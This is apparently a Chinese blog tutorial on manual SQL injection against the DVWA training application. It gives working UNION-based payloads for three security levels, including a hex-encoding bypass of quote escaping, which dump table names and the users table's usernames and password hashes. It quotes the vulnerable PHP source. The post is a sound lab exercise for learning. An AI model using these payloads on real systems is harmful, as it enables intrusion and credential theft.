DVWA-SQL注入(全级别)

一、SQL注入概念

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

二、手工注入常规思路

1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定回显位置,即显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.得到数据***

这篇文章的SQL手工注入写得挺不错的
添加链接描述
https://www.cnblogs.com/conquer-vv/p/11307682.html

三、DVWA注入

首先是DVWA Security为low的情况。
1.判断是否存在注入,注入是字符型还是数字型,猜解SQL查询语句中的字段数
试着输入①输入1提交,
结果

在这里插入图片描述
②输入1’ 提交 ,得

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

③输入1 and 1=1 提交,得
在这里插入图片描述
④ 提交1’ order by 3#

Unknown column '3' in 'order clause'

上图可以说明,SQL语句查询的表的字段数是2。

综上可以看出是存在注入点的, 我们猜测sql查询语句是这样的:
select First name的列名 and Surname的列名 from 表名 where id的列名 =‘我们输入的id’

这时看看源码:在这里插入图片描述
果然和猜测的一样。

2…确定显示的位置(SQL语句查询之后的回显位置)
提交 1’ union select 1,2#
下图可以看出有2个回显
在这里插入图片描述
也可以查询当前的数据库,以及版本:1’ union select version(),database()#
如图:
在这里插入图片描述
3.获取数据库中的表
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
在这里插入图片描述
4.获取表中的字段名
从users表获取表中的字段名
1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’#
在这里插入图片描述
5.获得字段中的数据
1’ union select user,password from users#
在这里插入图片描述
成功获取。

将DVWA的级别设置为Medium
下图可以看到中级加入了一些防御,不让用户输入,只提供选择(可以用burpsuit抓包来绕过),分析源码可以看到对参数使用mysql_real_escape_string函数转义sql语句中的一些特殊字符,查看sql查询语句可以看出可能存在数字型sql注入
在这里插入图片描述
在这里插入图片描述
通过burpsuit抓包,修改数据包,绕过防御
1.判断注入点,以及注入的类型:存在注入类型是数字型注入。
在这里插入图片描述
①修改id为1 or 1=1 #
在这里插入图片描述

查询成功:
在这里插入图片描述
②更改参数id为1’ or 1=1 #,却报错。
所以此为数字型注入。

2.猜解SQL查询语句中的字段数
①抓包时,参数id为1 order by 2 #
成功
在这里插入图片描述
②抓包时,参数id为1 order by 3 #
却报错,可知执行的SQL查询语句中只有两个字段,即First name、Surname。

3.确定显示的位置(SQL语句查询之后的回显位置)
id为1 union select 1,2 #
在这里插入图片描述
可知执行的SQL语句应为:

select First name,Surname from 表 where ID=id...

4.获取当前数据库
id为1 union select 1,database() #
在这里插入图片描述

在这里插入图片描述

当前的数据库为dvwa。

5.获取数据库中的表
id为 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
得,
在这里插入图片描述
数据库dvwa中一共有两个表:guestbook与users。

6.获取表中的字段名
id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#
结果报错。

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\'users\'#' at line 1

这是因为单引号被转义了,变成了\’。
可以利用16进制进行绕过,抓包更改参数id为 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #,查询成功:
在这里插入图片描述
得表中的字段名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS。

7.获得字段中的数据
id为1 or 1=1 union select group_concat(user),group_concat(password) from users #
在这里插入图片描述

得到全部的user及password.

将DVWA的级别设置为High
将dvwa设置为高级,可以看出,点击”here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码。
服务器端核心代码:

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

可以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样,直接最后一步演示获取数据。
输入:1’ union select user,password from users#
成功获取:在这里插入图片描述
至于Impossible级别,代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

  • 12
    点赞
  • 80
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值